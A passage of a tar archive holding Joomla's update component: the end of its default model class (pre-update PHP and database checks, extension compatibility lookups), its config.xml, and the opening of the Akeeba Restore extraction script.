		// Get the global JAuthentication object.
		$authenticate = JAuthentication::getInstance();
		$response     = $authenticate->authenticate($credentials);

		if ($response->status !== JAuthentication::STATUS_SUCCESS)
		{
			return false;
		}

		return true;
	}

	/**
	 * Does the captive (temporary) file we uploaded before still exist?
	 *
	 * @return  boolean
	 *
	 * @since   3.6.0
	 */
	public function captiveFileExists()
	{
		$file = JFactory::getApplication()->getUserState('com_joomlaupdate.temp_file', null);

		JLoader::import('joomla.filesystem.file');

		if (empty($file) || !JFile::exists($file))
		{
			return false;
		}

		return true;
	}

	/**
	 * Remove the captive (temporary) file we uploaded before and the .
	 *
	 * @return  void
	 *
	 * @since   3.6.0
	 */
	public function removePackageFiles()
	{
		$files = array(
			JFactory::getApplication()->getUserState('com_joomlaupdate.temp_file', null),
			JFactory::getApplication()->getUserState('com_joomlaupdate.file', null),
		);

		JLoader::import('joomla.filesystem.file');

		foreach ($files as $file)
		{
			if (JFile::exists($file))
			{
				if (!@unlink($file))
				{
					JFile::delete($file);
				}
			}
		}
	}

	/**
	 * Gets PHP options.
	 * TODO: Outsource, build common code base for pre install and pre update check
	 *
	 * @return array Array of PHP config options
	 *
	 * @since   3.10.0
	 */
	public function getPhpOptions()
	{
		$options = array();

		/*
		 * Check the PHP Version. It is already checked in JUpdate.
		 * A Joomla! Update which is not supported by current PHP
		 * version is not shown. So this check is actually unnecessary.
		 */
		$option         = new stdClass;
		$option->label  = JText::sprintf('INSTL_PHP_VERSION_NEWER', $this->getTargetMinimumPHPVersion());
		$option->state  = $this->isPhpVersionSupported();
		$option->notice = null;
		$options[]      = $option;

		// Only check if required PHP version is less than 7.
		if (version_compare($this->getTargetMinimumPHPVersion(), '7', '<'))
		{
			// Check for magic quotes gpc.
			$option         = new stdClass;
			$option->label  = JText::_('INSTL_MAGIC_QUOTES_GPC');
			$option->state  = (ini_get('magic_quotes_gpc') == false);
			$option->notice = null;
			$options[]      = $option;

			// Check for register globals.
			$option         = new stdClass;
			$option->label  = JText::_('INSTL_REGISTER_GLOBALS');
			$option->state  = (ini_get('register_globals') == false);
			$option->notice = null;
			$options[]      = $option;
		}

		// Check for zlib support.
		$option         = new stdClass;
		$option->label  = JText::_('INSTL_ZLIB_COMPRESSION_SUPPORT');
		$option->state  = extension_loaded('zlib');
		$option->notice = null;
		$options[]      = $option;

		// Check for XML support.
		$option         = new stdClass;
		$option->label  = JText::_('INSTL_XML_SUPPORT');
		$option->state  = extension_loaded('xml');
		$option->notice = null;
		$options[]      = $option;

		// Check for mbstring options.
		if (extension_loaded('mbstring'))
		{
			// Check for default MB language.
			$option = new stdClass;
			$option->label  = JText::_('INSTL_MB_LANGUAGE_IS_DEFAULT');
			$option->state  = strtolower(ini_get('mbstring.language')) === 'neutral';
			$option->notice = $option->state ? null : JText::_('INSTL_NOTICEMBLANGNOTDEFAULT');
			$options[] = $option;

			// Check for MB function overload.
			$option = new stdClass;
			$option->label  = JText::_('INSTL_MB_STRING_OVERLOAD_OFF');
			$option->state  = ini_get('mbstring.func_overload') == 0;
			$option->notice = $option->state ? null : JText::_('INSTL_NOTICEMBSTRINGOVERLOAD');
			$options[] = $option;
		}

		// Check for a missing native parse_ini_file implementation.
		$option = new stdClass;
		$option->label  = JText::_('INSTL_PARSE_INI_FILE_AVAILABLE');
		$option->state  = $this->getIniParserAvailability();
		$option->notice = null;
		$options[] = $option;

		// Check for missing native json_encode / json_decode support.
		$option = new stdClass;
		$option->label  = JText::_('INSTL_JSON_SUPPORT_AVAILABLE');
		$option->state  = function_exists('json_encode') && function_exists('json_decode');
		$option->notice = null;
		$options[] = $option;

		$updateInformation = $this->getUpdateInformation();

		// Check if configured database is compatible with Joomla 4
		if (version_compare($updateInformation['latest'], '4', '>='))
		{
			$option = new stdClass;
			$option->label  = JText::sprintf('INSTL_DATABASE_SUPPORTED', $this->getConfiguredDatabaseType());
			$option->state  = $this->isDatabaseTypeSupported();
			$option->notice = null;
			$options[]      = $option;
		}

		// Check if database structure is up to date
		$option = new stdClass;
		$option->label  = JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_DATABASE_STRUCTURE_TITLE');
		$option->state  = $this->getDatabaseSchemaCheck();
		$option->notice = $option->state ? null : JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_DATABASE_STRUCTURE_NOTICE');
		$options[] = $option;

		return $options;
	}

	/**
	 * Gets PHP Settings.
	 * TODO: Outsource, build common code base for pre install and pre update check
	 *
	 * @return  array
	 *
	 * @since   3.10.0
	 */
	public function getPhpSettings()
	{
		$settings = array();

		// Check for display errors.
		$setting = new stdClass;
		$setting->label = JText::_('INSTL_DISPLAY_ERRORS');
		$setting->state = (bool) ini_get('display_errors');
		$setting->recommended = false;
		$settings[] = $setting;

		// Check for file uploads.
		$setting = new stdClass;
		$setting->label = JText::_('INSTL_FILE_UPLOADS');
		$setting->state = (bool) ini_get('file_uploads');
		$setting->recommended = true;
		$settings[] = $setting;

		// Only check if required PHP version is less than 7.
		if (version_compare($this->getTargetMinimumPHPVersion(), '7', '<'))
		{
			// Check for magic quotes runtimes.
			$setting = new stdClass;
			$setting->label = JText::_('INSTL_MAGIC_QUOTES_RUNTIME');
			$setting->state = (bool) ini_get('magic_quotes_runtime');
			$setting->recommended = false;
			$settings[] = $setting;

			// Check for safe mode.
			$setting = new stdClass;
			$setting->label = JText::_('INSTL_SAFE_MODE');
			$setting->state = (bool) ini_get('safe_mode');
			$setting->recommended = false;
			$settings[] = $setting;
		}

		// Check for output buffering.
		$setting = new stdClass;
		$setting->label = JText::_('INSTL_OUTPUT_BUFFERING');
		$setting->state = (int) ini_get('output_buffering') !== 0;
		$setting->recommended = false;
		$settings[] = $setting;

		// Check for session auto-start.
		$setting = new stdClass;
		$setting->label = JText::_('INSTL_SESSION_AUTO_START');
		$setting->state = (bool) ini_get('session.auto_start');
		$setting->recommended = false;
		$settings[] = $setting;

		// Check for native ZIP support.
		$setting = new stdClass;
		$setting->label = JText::_('INSTL_ZIP_SUPPORT_AVAILABLE');
		$setting->state = function_exists('zip_open') && function_exists('zip_read');
		$setting->recommended = true;
		$settings[] = $setting;

		return $settings;
	}

	/**
	 * Returns the configured database type id (mysqli or sqlsrv or ...)
	 *
	 * @return string
	 *
	 * @since 3.10.0
	 */
	private function getConfiguredDatabaseType()
	{
		return JFactory::getApplication()->get('dbtype');
	}

	/**
	 * Returns true, if J! version is < 4 or current configured
	 * database type is compatible with the update.
	 *
	 * @return boolean
	 *
	 * @since 3.10.0
	 */
	public function isDatabaseTypeSupported()
	{
		$updateInformation = $this->getUpdateInformation();

		// Check if configured database is compatible with Joomla 4
		if (version_compare($updateInformation['latest'], '4', '>='))
		{
			$unsupportedDatabaseTypes = array('sqlsrv', 'sqlazure');
			$currentDatabaseType = $this->getConfiguredDatabaseType();

			return !in_array($currentDatabaseType, $unsupportedDatabaseTypes);
		}

		return true;
	}


	/**
	 * Returns true, if current installed php version is compatible with the update.
	 *
	 * @return boolean
	 *
	 * @since 3.10.0
	 */
	public function isPhpVersionSupported()
	{
		return version_compare(PHP_VERSION, $this->getTargetMinimumPHPVersion(), '>=');
	}

	/**
	 * Returns the PHP minimum version for the update.
	 * Returns JOOMLA_MINIMUM_PHP, if there is no information given.
	 *
	 * @return string
	 *
	 * @since 3.10.0
	 */
	private function getTargetMinimumPHPVersion()
	{
		$updateInformation = $this->getUpdateInformation();

		return isset($updateInformation['object']->php_minimum) ?
			$updateInformation['object']->php_minimum->_data :
			JOOMLA_MINIMUM_PHP;
	}

	/**
	 * Checks the availability of the parse_ini_file and parse_ini_string functions.
	 * TODO: Outsource, build common code base for pre install and pre update check
	 *
	 * @return  boolean  True if the method exists.
	 *
	 * @since   3.10.0
	 */
	public function getIniParserAvailability()
	{
		$disabledFunctions = ini_get('disable_functions');

		if (!empty($disabledFunctions))
		{
			// Attempt to detect them in the disable_functions blacklist.
			$disabledFunctions = explode(',', trim($disabledFunctions));
			$numberOfDisabledFunctions = count($disabledFunctions);

			for ($i = 0; $i < $numberOfDisabledFunctions; $i++)
			{
				$disabledFunctions[$i] = trim($disabledFunctions[$i]);
			}

			$result = !in_array('parse_ini_string', $disabledFunctions);
		}
		else
		{
			// Attempt to detect their existence; even pure PHP implementations of them will trigger a positive response, though.
			$result = function_exists('parse_ini_string');
		}

		return $result;
	}


	/**
	 * Check if database structure is up to date
	 *
	 * @return  boolean  True if ok, false if not.
	 *
	 * @since   3.10.0
	 */
	private function getDatabaseSchemaCheck()
	{
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_installer/models', 'InstallerModel');

		// Get the database model
		$model = JModelLegacy::getInstance('Database', 'InstallerModel');

		// Check if no default text filters found
		if (!$model->getDefaultTextFilters())
		{
			return false;
		}

		// Check if database update version does not match CMS version
		if (version_compare($model->getUpdateVersion(), JVERSION) != 0)
		{
			return false;
		}

		// Get the schema change set
		$changeSet = $model->getItems();

		$changeSetCheck = $changeSet->check();

		// Check if schema errors found
		if (!empty($changeSetCheck))
		{
			return false;
		}

		// Check if database schema version does not match CMS version
		if ($model->getSchemaVersion() != $changeSet->getSchema())
		{
			return false;
		}

		// No database problems found
		return true;
	}

	/**
	 * Gets an array containing all installed extensions, that are not core extensions.
	 *
	 * @return  array  name,version,updateserver
	 *
	 * @since   3.10.0
	 */
	public function getNonCoreExtensions()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		$query->select(
			$db->qn('ex.name') . ', ' .
			$db->qn('ex.extension_id') . ', ' .
			$db->qn('ex.manifest_cache') . ', ' .
			$db->qn('ex.type') . ', ' .
			$db->qn('ex.folder') . ', ' .
			$db->qn('ex.element') . ', ' .
			$db->qn('ex.client_id')
		)->from(
			$db->qn('#__extensions', 'ex')
		)->where(
			$db->qn('ex.package_id') . ' = 0'
		);

		$db->setQuery($query);
		$rows = $db->loadObjectList();
		$rows = array_filter($rows, 'JoomlaupdateModelDefault::isNonCoreExtension');

		foreach ($rows as $extension)
		{
			$decode = json_decode($extension->manifest_cache);

			// Remove unused fields so they do not cause javascript errors during pre-update check
			unset($decode->description);
			unset($decode->copyright);
			unset($decode->creationDate);

			$this->translateExtensionName($extension);
			$extension->version = isset($decode->version)
				? $decode->version
				: JText::_('COM_JOOMLAUPDATE_PREUPDATE_UNKNOWN_EXTENSION_MANIFESTCACHE_VERSION');
			unset($extension->manifest_cache);
			$extension->manifest_cache = $decode;
		}

		return $rows;
	}

	/**
	 * Checks if extension is non core extension.
	 *
	 * @param   object  $extension  The extension to be checked
	 *
	 * @return  bool  true if extension is not a core extension
	 *
	 * @since   3.10.0
	 */
	private static function isNonCoreExtension($extension)
	{
		return !\JExtensionHelper::checkIfCoreExtension($extension->type, $extension->element, $extension->client_id, $extension->folder);
	}

	/**
	 * Gets an array containing all installed and enabled plugins, that are not core plugins.
	 *
	 * @param   array  $folderFilter  Limit the list of plugins to a specific set of folder values
	 *
	 * @return  array  name,version,updateserver
	 *
	 * @since   3.10.0
	 */
	public function getNonCorePlugins($folderFilter = array())
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true);

		$query->select(
			$db->qn('ex.name') . ', ' .
			$db->qn('ex.extension_id') . ', ' .
			$db->qn('ex.manifest_cache') . ', ' .
			$db->qn('ex.type') . ', ' .
			$db->qn('ex.folder') . ', ' .
			$db->qn('ex.element') . ', ' .
			$db->qn('ex.client_id') . ', ' .
			$db->qn('ex.package_id')
		)->from(
			$db->qn('#__extensions', 'ex')
		)->where(
			$db->qn('ex.type') . ' = ' . $db->quote('plugin')
		)->where(
			$db->qn('ex.enabled') . ' = 1'
		);

		if (count($folderFilter) > 0)
		{
			$folderFilter = array_map(array($db, 'quote'), $folderFilter);

			$query->where($db->qn('folder') . ' IN (' . implode(',', $folderFilter) . ')');
		}

		$db->setQuery($query);
		$rows = $db->loadObjectList();
		$rows = array_filter($rows, 'JoomlaupdateModelDefault::isNonCoreExtension');

		foreach ($rows as $plugin)
		{
			$decode = json_decode($plugin->manifest_cache);

			// Remove unused fields so they do not cause javascript errors during pre-update check
			unset($decode->description);
			unset($decode->copyright);
			unset($decode->creationDate);

			$this->translateExtensionName($plugin);
			$plugin->version = isset($decode->version)
				? $decode->version
				: JText::_('COM_JOOMLAUPDATE_PREUPDATE_UNKNOWN_EXTENSION_MANIFESTCACHE_VERSION');
			unset($plugin->manifest_cache);
			$plugin->manifest_cache = $decode;
		}

		return $rows;
	}

	/**
	 * Called by controller's fetchExtensionCompatibility, which is called via AJAX.
	 *
	 * @param   string  $extensionID          The ID of the checked extension
	 * @param   string  $joomlaTargetVersion  Target version of Joomla
	 *
	 * @return object
	 *
	 * @since 3.10.0
	 */
	public function fetchCompatibility($extensionID, $joomlaTargetVersion)
	{
		$updateSites = $this->getUpdateSitesInfo($extensionID);

		if (empty($updateSites))
		{
			return (object) array('state' => 2);
		}

		foreach ($updateSites as $updateSite)
		{
			if ($updateSite['type'] === 'collection')
			{
				$updateFileUrls = $this->getCollectionDetailsUrls($updateSite, $joomlaTargetVersion);

				foreach ($updateFileUrls as $updateFileUrl)
				{
					$compatibleVersions = $this->checkCompatibility($updateFileUrl, $joomlaTargetVersion);

					// Return the compatible versions
					return (object) array('state' => 1, 'compatibleVersions' => $compatibleVersions);
				}
			}
			else
			{
				$compatibleVersions = $this->checkCompatibility($updateSite['location'], $joomlaTargetVersion);

				// Return the compatible versions
				return (object) array('state' => 1, 'compatibleVersions' => $compatibleVersions);
			}
		}

		// In any other case we mark this extension as not compatible
		return (object) array('state' => 0);
	}

	/**
	 * Returns records with update sites and extension information for a given extension ID.
	 *
	 * @param   int  $extensionID  The extension ID
	 *
	 * @return  array
	 *
	 * @since 3.10.0
	 */
	private function getUpdateSitesInfo($extensionID)
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		$query->select(
			$db->qn('us.type') . ', ' .
			$db->qn('us.location') . ', ' .
			$db->qn('e.element') . ' AS ' . $db->qn('ext_element') . ', ' .
			$db->qn('e.type') . ' AS ' . $db->qn('ext_type') . ', ' .
			$db->qn('e.folder') . ' AS ' . $db->qn('ext_folder')
		)->from(
			$db->qn('#__update_sites', 'us')
		)->leftJoin(
				$db->qn('#__update_sites_extensions', 'ue')
				. ' ON ' . $db->qn('ue.update_site_id') . ' = ' . $db->qn('us.update_site_id')
		)->leftJoin(
				$db->qn('#__extensions', 'e')
				. ' ON ' . $db->qn('e.extension_id') . ' = ' . $db->qn('ue.extension_id')
		)->where($db->qn('e.extension_id') . ' = ' . (int) $extensionID);

		$db->setQuery($query);

		$result = $db->loadAssocList();

		if (!is_array($result))
		{
			return array();
		}

		return $result;
	}

	/**
	 * Method to get details URLs from a colletion update site for given extension and Joomla target version.
	 *
	 * @param   array   $updateSiteInfo       The update site and extension information record to process
	 * @param   string  $joomlaTargetVersion  The Joomla! version to test against,
	 *
	 * @return  array  An array of URLs.
	 *
	 * @since   3.10.0
	 */
	private function getCollectionDetailsUrls($updateSiteInfo, $joomlaTargetVersion)
	{
		$return = array();

		$http = new JHttp;

		try
		{
			$response = $http->get($updateSiteInfo['location']);
		}
		catch (RuntimeException $e)
		{
			$response = null;
		}

		if ($response === null || $response->code !== 200)
		{
			return $return;
		}

		$updateSiteXML = simplexml_load_string($response->body);

		foreach ($updateSiteXML->extension as $extension)
		{
			$attribs = new stdClass;

			$attribs->element               = '';
			$attribs->type                  = '';
			$attribs->folder                = '';
			$attribs->targetplatformversion = '';

			foreach ($extension->attributes() as $key => $value)
			{
				$attribs->$key = (string) $value;
			}

			if ($attribs->element === $updateSiteInfo['ext_element']
				&& $attribs->type === $updateSiteInfo['ext_type']
				&& $attribs->folder === $updateSiteInfo['ext_folder']
				&& preg_match('/^' . $attribs->targetplatformversion . '/', $joomlaTargetVersion))
			{
				$return[] = (string) $extension['detailsurl'];
			}
		}

		return $return;
	}

	/**
	 * Method to check non core extensions for compatibility.
	 *
	 * @param   string  $updateFileUrl        The items update XML url.
	 * @param   string  $joomlaTargetVersion  The Joomla! version to test against
	 *
	 * @return  array  An array of strings with compatible version numbers
	 *
	 * @since   3.10.0
	 */
	private function checkCompatibility($updateFileUrl, $joomlaTargetVersion)
	{
		// Get the minimum stability information from com_installer
		$minimumStability = JComponentHelper::getParams('com_installer')->get('minimum_stability', JUpdater::STABILITY_STABLE);

		$update = new JUpdate;
		$update->set('jversion.full', $joomlaTargetVersion);
		$update->loadFromXML($updateFileUrl, $minimumStability);

		$compatibleVersions = $update->get('compatibleVersions');

		// Check if old version of the updater library
		if (!isset($compatibleVersions))
		{
			$downloadUrl = $update->get('downloadurl');
			$updateVersion = $update->get('version');

			return empty($downloadUrl) || empty($downloadUrl->_data) || empty($updateVersion) ? array() : array($updateVersion->_data);
		}

		usort($compatibleVersions, 'version_compare');

		return $compatibleVersions;
	}

	/**
	 * Translates an extension name
	 *
	 * @param   object  &$item  The extension of which the name needs to be translated
	 *
	 * @return  void
	 *
	 * @since   3.10.0
	 */
	protected function translateExtensionName(&$item)
	{
		// ToDo: Cleanup duplicated code. from com_installer/models/extension.php
		$lang = JFactory::getLanguage();
		$path = $item->client_id ? JPATH_ADMINISTRATOR : JPATH_SITE;

		$extension = $item->element;
		$source = JPATH_SITE;

		switch ($item->type)
		{
			case 'component':
				$extension = $item->element;
				$source = $path . '/components/' . $extension;
				break;
			case 'module':
				$extension = $item->element;
				$source = $path . '/modules/' . $extension;
				break;
			case 'file':
				$extension = 'files_' . $item->element;
				break;
			case 'library':
				$extension = 'lib_' . $item->element;
				break;
			case 'plugin':
				$extension = 'plg_' . $item->folder . '_' . $item->element;
				$source = JPATH_PLUGINS . '/' . $item->folder . '/' . $item->element;
				break;
			case 'template':
				$extension = 'tpl_' . $item->element;
				$source = $path . '/templates/' . $item->element;
		}

		$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
		|| $lang->load("$extension.sys", $source, null, false, true);
		$lang->load($extension, JPATH_ADMINISTRATOR, null, false, true)
		|| $lang->load($extension, $source, null, false, true);

		// Translate the extension name if possible
		$item->name = strip_tags(JText::_($item->name));
	}

	/**
	 * Checks whether a given template is active
	 *
	 * @param   string  $template  The template name to be checked
	 *
	 * @return  boolean
	 *
	 * @since   3.10.4
	 */
	public function isTemplateActive($template)
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		$query->select(
			$db->qn(
				array(
					'id',
					'home'
				)
			)
		)->from(
			$db->qn('#__template_styles')
		)->where(
			$db->qn('template') . ' = ' . $db->q($template)
		);

		$templates = $db->setQuery($query)->loadObjectList();

		$home = array_filter(
			$templates,
			function($value)
			{
				return $value->home > 0;
			}
		);

		$ids = JArrayHelper::getColumn($templates, 'id');

		$menu = false;

		if (count($ids))
		{
			$query = $db->getQuery(true);

			$query->select(
				'COUNT(*)'
			)->from(
				$db->qn('#__menu')
			)->where(
				$db->qn('template_style_id') . ' IN(' . implode(',', $ids) . ')'
			);

			$menu = $db->setQuery($query)->loadResult() > 0;
		}

		return $home || $menu;
	}
}
com_joomlaupdate/config.xml000060400000003356152455305270012070 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="sources"
		label="COM_JOOMLAUPDATE_CONFIG_SOURCES_LABEL"
		description="COM_JOOMLAUPDATE_CONFIG_SOURCES_DESC"
		>

		<field
			name="updatesource"
			type="list"
			label="COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LABEL"
			description="COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DESC"
			default="default"
			>
			<!-- Note: Changed the values lts to default and sts to next with 3.4.0 -->
			<!--       Eliminated the 'nochange' option with 3.4.0 -->
			<!--       All invalid/unsupported/obsolete options equated to default in code with 3.4.0 -->
			<option value="default">COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DEFAULT</option>
			<option value="next">COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NEXT</option>
			<option value="testing">COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING</option>
			<option value="custom">COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM</option>
		</field>

		<field
			name="minimum_stability"
			type="list"
			label="COM_JOOMLAUPDATE_MINIMUM_STABILITY_LABEL"
			description="COM_JOOMLAUPDATE_MINIMUM_STABILITY_DESC"
			default="4"
			showon="updatesource:testing[OR]updatesource:custom"
			>
			<option value="0">COM_JOOMLAUPDATE_MINIMUM_STABILITY_DEV</option>
			<option value="1">COM_JOOMLAUPDATE_MINIMUM_STABILITY_ALPHA</option>
			<option value="2">COM_JOOMLAUPDATE_MINIMUM_STABILITY_BETA</option>
			<option value="3">COM_JOOMLAUPDATE_MINIMUM_STABILITY_RC</option>
			<option value="4">COM_JOOMLAUPDATE_MINIMUM_STABILITY_STABLE</option>
		</field>

		<field
			name="customurl"
			type="text"
			label="COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_LABEL"
			description="COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_DESC"
			default=""
			length="50"
			showon="updatesource:custom"
		/>

	</fieldset>
</config>
com_joomlaupdate/restore.php000060400000375347152455305270012311 0ustar00<?php
/**
 * Akeeba Restore
 *
 * An archive extraction engine for ZIP, JPA and JPS archives.
 *
 * @copyright   2008-2017 Nicholas K. Dionysopoulos / Akeeba Ltd.
 * @license     GNU GPL v2 or - at your option - any later version
 * @note        This file has been modified by the Joomla! Project and no longer reflects the original work of its author.
 */

define('_AKEEBA_RESTORATION', 1);
defined('DS') or define('DS', DIRECTORY_SEPARATOR);

// Unarchiver run states
define('AK_STATE_NOFILE', 0); // File header not read yet
define('AK_STATE_HEADER', 1); // File header read; ready to process data
define('AK_STATE_DATA', 2); // Processing file data
define('AK_STATE_DATAREAD', 3); // Finished processing file data; ready to post-process
define('AK_STATE_POSTPROC', 4); // Post-processing
define('AK_STATE_DONE', 5); // Done with post-processing

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	if (function_exists('php_uname'))
	{
		define('_AKEEBA_IS_WINDOWS', stristr(php_uname(), 'windows'));
	}
	else
	{
		define('_AKEEBA_IS_WINDOWS', DIRECTORY_SEPARATOR == '\\');
	}
}

// Get the file's root
if (!defined('KSROOTDIR'))
{
	define('KSROOTDIR', dirname(__FILE__));
}
if (!defined('KSLANGDIR'))
{
	define('KSLANGDIR', KSROOTDIR);
}

// Make sure the locale is correct for basename() to work
if (function_exists('setlocale'))
{
	@setlocale(LC_ALL, 'en_US.UTF8');
}

// fnmatch not available on non-POSIX systems
// Thanks to soywiz@php.net for this useful alternative function [http://gr2.php.net/fnmatch]
if (!function_exists('fnmatch'))
{
	function fnmatch($pattern, $string)
	{
		return @preg_match(
			'/^' . strtr(addcslashes($pattern, '/\\.+^$(){}=!<>|'),
				array('*' => '.*', '?' => '.?')) . '$/i', $string
		);
	}
}

// Unicode-safe binary data length function
if (!function_exists('akstringlen'))
{
	if (function_exists('mb_strlen'))
	{
		function akstringlen($string)
		{
			return mb_strlen($string, '8bit');
		}
	}
	else
	{
		function akstringlen($string)
		{
			return strlen($string);
		}
	}
}

if (!function_exists('aksubstr'))
{
	if (function_exists('mb_strlen'))
	{
		function aksubstr($string, $start, $length = null)
		{
			return mb_substr($string, $start, $length, '8bit');
		}
	}
	else
	{
		function aksubstr($string, $start, $length = null)
		{
			return substr($string, $start, $length);
		}
	}
}

/**
 * Gets a query parameter from GET or POST data
 *
 * @param $key
 * @param $default
 */
function getQueryParam($key, $default = null)
{
	$value = $default;

	if (array_key_exists($key, $_REQUEST))
	{
		$value = $_REQUEST[$key];

		if (PHP_VERSION_ID < 50400 && get_magic_quotes_gpc() && !is_null($value))
		{
			$value = stripslashes($value);
		}
	}

	return $value;
}

// Debugging function
function debugMsg($msg)
{
	if (!defined('KSDEBUG'))
	{
		return;
	}

	$fp = fopen('debug.txt', 'at');

	fwrite($fp, $msg . "\n");
	fclose($fp);

	// Echo to stdout if KSDEBUGCLI is defined
	if (defined('KSDEBUGCLI'))
	{
		echo $msg . "\n";
	}
}

/**
 * The base class of Akeeba Engine objects. Allows for error and warnings logging
 * and propagation. Largely based on the Joomla! 1.5 JObject class.
 */
abstract class AKAbstractObject
{
	/** @var    array    The queue size of the $_errors array. Set to 0 for infinite size. */
	protected $_errors_queue_size = 0;
	/** @var    array    The queue size of the $_warnings array. Set to 0 for infinite size. */
	protected $_warnings_queue_size = 0;
	/** @var    array    An array of errors */
	private $_errors = array();
	/** @var    array    An array of warnings */
	private $_warnings = array();

	/**
	 * Get the most recent error message
	 *
	 * @param    integer $i Optional error index
	 *
	 * @return    string    Error message
	 */
	public function getError($i = null)
	{
		return $this->getItemFromArray($this->_errors, $i);
	}

	/**
	 * Returns the last item of a LIFO string message queue, or a specific item
	 * if so specified.
	 *
	 * @param array $array An array of strings, holding messages
	 * @param int   $i     Optional message index
	 *
	 * @return mixed The message string, or false if the key doesn't exist
	 */
	private function getItemFromArray($array, $i = null)
	{
		// Find the item
		if ($i === null)
		{
			// Default, return the last item
			$item = end($array);
		}
		else if (!array_key_exists($i, $array))
		{
			// If $i has been specified but does not exist, return false
			return false;
		}
		else
		{
			$item = $array[$i];
		}

		return $item;
	}

	/**
	 * Return all errors, if any
	 *
	 * @return    array    Array of error messages
	 */
	public function getErrors()
	{
		return $this->_errors;
	}

	/**
	 * Resets all error messages
	 */
	public function resetErrors()
	{
		$this->_errors = array();
	}

	/**
	 * Get the most recent warning message
	 *
	 * @param    integer $i Optional warning index
	 *
	 * @return    string    Error message
	 */
	public function getWarning($i = null)
	{
		return $this->getItemFromArray($this->_warnings, $i);
	}

	/**
	 * Return all warnings, if any
	 *
	 * @return    array    Array of error messages
	 */
	public function getWarnings()
	{
		return $this->_warnings;
	}

	/**
	 * Resets all warning messages
	 */
	public function resetWarnings()
	{
		$this->_warnings = array();
	}

	/**
	 * Propagates errors and warnings to a foreign object. The foreign object SHOULD
	 * implement the setError() and/or setWarning() methods but DOESN'T HAVE TO be of
	 * AKAbstractObject type. For example, this can even be used to propagate to a
	 * JObject instance in Joomla!. Propagated items will be removed from ourselves.
	 *
	 * @param object $object The object to propagate errors and warnings to.
	 */
	public function propagateToObject(&$object)
	{
		// Skip non-objects
		if (!is_object($object))
		{
			return;
		}

		if (method_exists($object, 'setError'))
		{
			if (!empty($this->_errors))
			{
				foreach ($this->_errors as $error)
				{
					$object->setError($error);
				}
				$this->_errors = array();
			}
		}

		if (method_exists($object, 'setWarning'))
		{
			if (!empty($this->_warnings))
			{
				foreach ($this->_warnings as $warning)
				{
					$object->setWarning($warning);
				}
				$this->_warnings = array();
			}
		}
	}

	/**
	 * Propagates errors and warnings from a foreign object. Each propagated list is
	 * then cleared on the foreign object, as long as it implements resetErrors() and/or
	 * resetWarnings() methods.
	 *
	 * @param object $object The object to propagate errors and warnings from
	 */
	public function propagateFromObject(&$object)
	{
		if (method_exists($object, 'getErrors'))
		{
			$errors = $object->getErrors();
			if (!empty($errors))
			{
				foreach ($errors as $error)
				{
					$this->setError($error);
				}
			}
			if (method_exists($object, 'resetErrors'))
			{
				$object->resetErrors();
			}
		}

		if (method_exists($object, 'getWarnings'))
		{
			$warnings = $object->getWarnings();
			if (!empty($warnings))
			{
				foreach ($warnings as $warning)
				{
					$this->setWarning($warning);
				}
			}
			if (method_exists($object, 'resetWarnings'))
			{
				$object->resetWarnings();
			}
		}
	}

	/**
	 * Add an error message
	 *
	 * @param    string $error Error message
	 */
	public function setError($error)
	{
		if ($this->_errors_queue_size > 0)
		{
			if (count($this->_errors) >= $this->_errors_queue_size)
			{
				array_shift($this->_errors);
			}
		}

		$this->_errors[] = $error;
	}

	/**
	 * Add an error message
	 *
	 * @param    string $error Error message
	 */
	public function setWarning($warning)
	{
		if ($this->_warnings_queue_size > 0)
		{
			if (count($this->_warnings) >= $this->_warnings_queue_size)
			{
				array_shift($this->_warnings);
			}
		}

		$this->_warnings[] = $warning;
	}

	/**
	 * Sets the size of the error queue (acts like a LIFO buffer)
	 *
	 * @param int $newSize The new queue size. Set to 0 for infinite length.
	 */
	protected function setErrorsQueueSize($newSize = 0)
	{
		$this->_errors_queue_size = (int) $newSize;
	}

	/**
	 * Sets the size of the warnings queue (acts like a LIFO buffer)
	 *
	 * @param int $newSize The new queue size. Set to 0 for infinite length.
	 */
	protected function setWarningsQueueSize($newSize = 0)
	{
		$this->_warnings_queue_size = (int) $newSize;
	}

}

/**
 * The superclass of all Akeeba Kickstart parts. The "parts" are intelligent stateful
 * classes which perform a single procedure and have preparation, running and
 * finalization phases. The transition between phases is handled automatically by
 * this superclass' tick() final public method, which should be the ONLY public API
 * exposed to the rest of the Akeeba Engine.
 */
abstract class AKAbstractPart extends AKAbstractObject
{
	/**
	 * Indicates whether this part has finished its initialisation cycle
	 *
	 * @var boolean
	 */
	protected $isPrepared = false;

	/**
	 * Indicates whether this part has more work to do (it's in running state)
	 *
	 * @var boolean
	 */
	protected $isRunning = false;

	/**
	 * Indicates whether this part has finished its finalization cycle
	 *
	 * @var boolean
	 */
	protected $isFinished = false;

	/**
	 * Indicates whether this part has finished its run cycle
	 *
	 * @var boolean
	 */
	protected $hasRan = false;

	/**
	 * The name of the engine part (a.k.a. Domain), used in return table
	 * generation.
	 *
	 * @var string
	 */
	protected $active_domain = "";

	/**
	 * The step this engine part is in. Used verbatim in return table and
	 * should be set by the code in the _run() method.
	 *
	 * @var string
	 */
	protected $active_step = "";

	/**
	 * A more detailed description of the step this engine part is in. Used
	 * verbatim in return table and should be set by the code in the _run()
	 * method.
	 *
	 * @var string
	 */
	protected $active_substep = "";

	/**
	 * Any configuration variables, in the form of an array.
	 *
	 * @var array
	 */
	protected $_parametersArray = array();

	/** @var string The database root key */
	protected $databaseRoot = array();
	/** @var array An array of observers */
	protected $observers = array();
	/** @var int Last reported warnings's position in array */
